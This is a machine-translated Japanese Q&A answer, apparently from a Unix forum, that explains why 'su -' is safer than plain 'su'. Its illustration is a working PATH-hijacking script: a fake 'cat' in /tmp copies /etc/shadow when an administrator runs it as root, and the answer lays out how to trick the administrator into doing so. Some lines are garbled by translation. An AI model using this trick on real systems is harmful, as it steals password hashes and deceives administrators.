su -
の理由がわかりません su
よりも優先されます ルートとしてログインします。
承認された回答:
su -
ユーザーを切り替えた後、ログインシェルを呼び出します。ログインシェルはほとんどの環境変数をリセットし、クリーンなベースを提供します。
su
ユーザーを切り替えるだけで、通常のシェルに古いユーザーとほぼ同じ環境が提供されます。
あなたがマシンへの通常のユーザーアクセス権を持つソフトウェア開発者であり、無知な管理者があなたにルートアクセス権を与えないことを想像してみてください。 (うまくいけば)彼をだましましょう。
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
次に、管理者にcat
できない理由を尋ねます。 ホームフォルダにあるダミーファイルは機能しません!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
管理者がそれほど賢くないか、少し怠惰な場合は、管理者があなたのデスクに来て、スーパーユーザーの力を試してみる可能性があります。
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
わお!ありがとう、スーパー管理者!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
彼、彼。
破損した$PATH
に気づいたかもしれません。 変数はリセットされませんでした。管理者がsu -
を呼び出した場合、これは発生しなかったでしょう。 代わりに。